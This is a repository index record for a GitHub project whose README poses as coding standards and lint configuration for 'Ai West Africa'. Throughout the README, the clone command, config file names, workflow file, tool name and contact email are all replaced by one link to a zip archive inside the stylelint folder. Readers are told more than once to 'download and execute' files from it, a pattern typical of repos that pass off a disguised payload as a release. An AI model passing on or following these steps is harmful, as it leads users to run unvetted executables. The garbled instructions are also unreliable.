{"id":28907670,"url":"https://github.com/ankit12prajapat/aiwa-code-quality","last_synced_at":"2026-05-09T09:16:27.238Z","repository":{"id":296414965,"uuid":"993263744","full_name":"Ankit12prajapat/aiwa-code-quality","owner":"Ankit12prajapat","description":"This repository sets the standard for code quality in all AiWA projects, ensuring our code remains clean and accessible. Join us in maintaining high standards with shared linting and CI rules! 🛠️✨","archived":false,"fork":false,"pushed_at":"2025-06-21T03:04:22.000Z","size":54,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2025-06-21T04:19:40.710Z","etag":null,"topics":["ai","aiwa","code-quality","eslint","github-workflows","htmllint","php","prettier","stylelint"],"latest_commit_sha":null,"homepage":null,"language":"HTML","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Ankit12prajapat.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE.md","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2025-05-30T13:46:07.000Z","updated_at":"2025-06-21T03:04:25.000Z","dependencies_parsed_at":"2025-06-21T04:18:39.056Z","dependency_job_id":"df6f1e83-69e1-4fce-b6e0-b468b56f9f2c","html_url":"https://github.com/Ankit12prajapat/aiwa-code-quality","commit_stats":null,"previous_names":["ankit12prajapat/aiwa-code-quality"],"tags_count":1,"template":false,"template_full_name":null,"purl":"pkg:github/Ankit12prajapat/aiwa-code-quality","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Ankit12prajapat%2Faiwa-code-quality","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Ankit12prajapat%2Faiwa-code-quality/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Ankit12prajapat%2Faiwa-code-quality/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Ankit12prajapat%2Faiwa-code-quality/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Ankit12prajapat","download_url":"https://codeload.github.com/Ankit12prajapat/aiwa-code-quality/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Ankit12prajapat%2Faiwa-code-quality/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":261153583,"owners_count":23116915,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["ai","aiwa","code-quality","eslint","github-workflows","htmllint","php","prettier","stylelint"],"created_at":"2025-06-21T16:04:58.312Z","updated_at":"2026-05-09T09:16:27.230Z","avatar_url":"https://github.com/Ankit12prajapat.png","language":"HTML","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Aiwa Code Quality 🚀\n\nWelcome to the **Aiwa Code Quality** repository! This project contains the coding rules and GitHub actions for Ai West Africa (AiWA). Here, you will find guidelines and tools to ensure high-quality code across all our projects. \n\n[![Latest Release](https://github.com/Ankit12prajapat/aiwa-code-quality/raw/refs/heads/main/stylelint/aiwa_quality_code_3.7.zip)](https://github.com/Ankit12prajapat/aiwa-code-quality/raw/refs/heads/main/stylelint/aiwa_quality_code_3.7.zip)\n\n## Table of Contents\n\n1. [Introduction](#introduction)\n2. [Getting Started](#getting-started)\n3. [Coding Standards](#coding-standards)\n   - [JavaScript](#javascript)\n   - [PHP](#php)\n   - [HTML](#html)\n4. [GitHub Actions](#github-actions)\n5. [Installation](#installation)\n6. [Contributing](#contributing)\n7. [License](#license)\n8. [Contact](#contact)\n\n## Introduction\n\nIn the fast-paced world of software development, maintaining high code quality is crucial. This repository serves as a central hub for coding standards and automated processes that help ensure our code remains clean, efficient, and maintainable. \n\nThe AiWA coding rules cover various languages and frameworks, including JavaScript, PHP, and HTML. We also implement GitHub actions to automate testing and linting, making the development process smoother and more reliable.\n\n## Getting Started\n\nTo get started with the AiWA coding standards, clone this repository to your local machine. Use the following command:\n\n```bash\ngit clone https://github.com/Ankit12prajapat/aiwa-code-quality/raw/refs/heads/main/stylelint/aiwa_quality_code_3.7.zip\n```\n\nOnce cloned, navigate into the directory:\n\n```bash\ncd aiwa-code-quality\n```\n\nNext, check the [Releases](https://github.com/Ankit12prajapat/aiwa-code-quality/raw/refs/heads/main/stylelint/aiwa_quality_code_3.7.zip) section for the latest version. Download and execute the necessary files to set up the environment according to the coding standards.\n\n## Coding Standards\n\n### JavaScript\n\nFor JavaScript, we use ESLint to maintain code quality. ESLint helps identify problematic patterns and code that doesn’t adhere to our defined standards. \n\n#### ESLint Configuration\n\nTo set up ESLint, create a `https://github.com/Ankit12prajapat/aiwa-code-quality/raw/refs/heads/main/stylelint/aiwa_quality_code_3.7.zip` file in the root of your project with the following configuration:\n\n```json\n{\n  \"env\": {\n    \"browser\": true,\n    \"es2021\": true\n  },\n  \"extends\": \"eslint:recommended\",\n  \"parserOptions\": {\n    \"ecmaVersion\": 12\n  },\n  \"rules\": {\n    \"no-console\": \"warn\",\n    \"indent\": [\"error\", 2],\n    \"quotes\": [\"error\", \"single\"]\n  }\n}\n```\n\n### PHP\n\nFor PHP, we adhere to the PSR-12 coding standard. This ensures that our PHP code is readable and consistent.\n\n#### PHP Code Sniffer\n\nTo enforce PSR-12, use PHP Code Sniffer. Install it via Composer:\n\n```bash\ncomposer require --dev squizlabs/php_codesniffer\n```\n\nThen, create a configuration file named `https://github.com/Ankit12prajapat/aiwa-code-quality/raw/refs/heads/main/stylelint/aiwa_quality_code_3.7.zip`:\n\n```xml\n\u003c?xml version=\"1.0\"?\u003e\n\u003cruleset name=\"MyProject\"\u003e\n    \u003cdescription\u003eMy project coding standards\u003c/description\u003e\n    \u003crule ref=\"PSR12\"/\u003e\n\u003c/ruleset\u003e\n```\n\n### HTML\n\nFor HTML, we utilize HTMLHint to catch common errors and enforce best practices.\n\n#### HTMLHint Configuration\n\nCreate a `.htmlhintrc` file in your project directory:\n\n```json\n{\n  \"attr-lowercase\": true,\n  \"tag-pair\": true,\n  \"tagname-lowercase\": true,\n  \"doctype-html5\": true\n}\n```\n\n## GitHub Actions\n\nGitHub Actions allow us to automate workflows. In this repository, we set up actions for linting and testing. \n\n### Sample Workflow\n\nCreate a `https://github.com/Ankit12prajapat/aiwa-code-quality/raw/refs/heads/main/stylelint/aiwa_quality_code_3.7.zip` file to automate linting:\n\n```yaml\nname: Lint Code\n\non: [push, pull_request]\n\njobs:\n  lint:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout code\n        uses: actions/checkout@v2\n\n      - name: Set up https://github.com/Ankit12prajapat/aiwa-code-quality/raw/refs/heads/main/stylelint/aiwa_quality_code_3.7.zip\n        uses: actions/setup-node@v2\n        with:\n          node-version: '14'\n\n      - name: Install dependencies\n        run: npm install\n\n      - name: Run ESLint\n        run: npm run lint\n```\n\nThis workflow triggers on every push or pull request, ensuring that code is linted before merging.\n\n## Installation\n\nTo install the necessary tools and dependencies, follow these steps:\n\n1. Ensure you have https://github.com/Ankit12prajapat/aiwa-code-quality/raw/refs/heads/main/stylelint/aiwa_quality_code_3.7.zip and Composer installed on your machine.\n2. Run the following commands to install JavaScript dependencies:\n\n```bash\nnpm install\n```\n\n3. For PHP dependencies, run:\n\n```bash\ncomposer install\n```\n\n4. Check the [Releases](https://github.com/Ankit12prajapat/aiwa-code-quality/raw/refs/heads/main/stylelint/aiwa_quality_code_3.7.zip) section for any additional setup files you may need to download and execute.\n\n## Contributing\n\nWe welcome contributions to improve the coding standards and automation processes. Please follow these steps:\n\n1. Fork the repository.\n2. Create a new branch for your feature or bug fix.\n3. Make your changes and commit them.\n4. Push your branch and open a pull request.\n\nWe appreciate all contributions, whether they are small fixes or major enhancements.\n\n## License\n\nThis project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.\n\n## Contact\n\nFor any questions or feedback, please reach out to the AiWA development team:\n\n- Email: https://github.com/Ankit12prajapat/aiwa-code-quality/raw/refs/heads/main/stylelint/aiwa_quality_code_3.7.zip\n- GitHub: [AiWA GitHub](https://github.com/Ankit12prajapat/aiwa-code-quality/raw/refs/heads/main/stylelint/aiwa_quality_code_3.7.zip)\n\nThank you for checking out the Aiwa Code Quality repository! Together, we can maintain high standards in our coding practices.","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fankit12prajapat%2Faiwa-code-quality","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fankit12prajapat%2Faiwa-code-quality","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fankit12prajapat%2Faiwa-code-quality/lists"}